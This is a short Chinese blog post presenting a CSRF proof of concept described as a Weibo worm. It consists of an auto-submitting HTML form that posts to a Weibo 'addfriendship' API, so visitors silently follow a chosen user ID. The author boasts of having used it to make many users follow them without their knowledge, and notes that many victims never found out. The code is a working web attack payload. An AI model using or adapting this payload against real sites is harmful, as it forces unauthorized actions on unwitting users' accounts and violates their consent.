# PoC：微博蠕一下

```js
<html>
<body>
<form action="https://yahoo.tw.weibo.com/api/yahoo/addfriendship" method="POST">
<input type="hidden" name="uid" value="YourID" /> 
<input type="submit" value="Submit form" />
</form>
<script> document.forms[0].submit(); </script>
</body>
</html>
```

{{< image src="/../images/I6pjzK50.webp" >}}
{{< image src="/../images/rN6XpHDB.webp" >}}

\
这段微博蠕虫 PoC 源码的作者是谁，早已无从考证。（我忘了）

\
借助自动触发的越权与静默操作，它在当时的传播速度快得惊人。

\
回想当年，随手一发便能让大量用户在不知情的情况下自动关注了我；时隔多年，直到现在对这一切依然浑然不知的，大有人在。
